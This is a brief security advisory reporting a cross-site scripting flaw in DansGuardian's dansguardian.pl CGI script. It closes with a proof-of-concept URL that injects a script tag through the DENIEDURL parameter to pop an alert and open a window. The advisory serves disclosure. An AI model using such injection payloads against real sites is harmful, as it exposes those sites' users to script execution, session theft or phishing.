source: https://www.securityfocus.com/bid/8876/info

A problem has been reported in the handling of some types of input to DansGuardian. This problem may permit an attacker to launch cross-site scripting attacks.

http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script>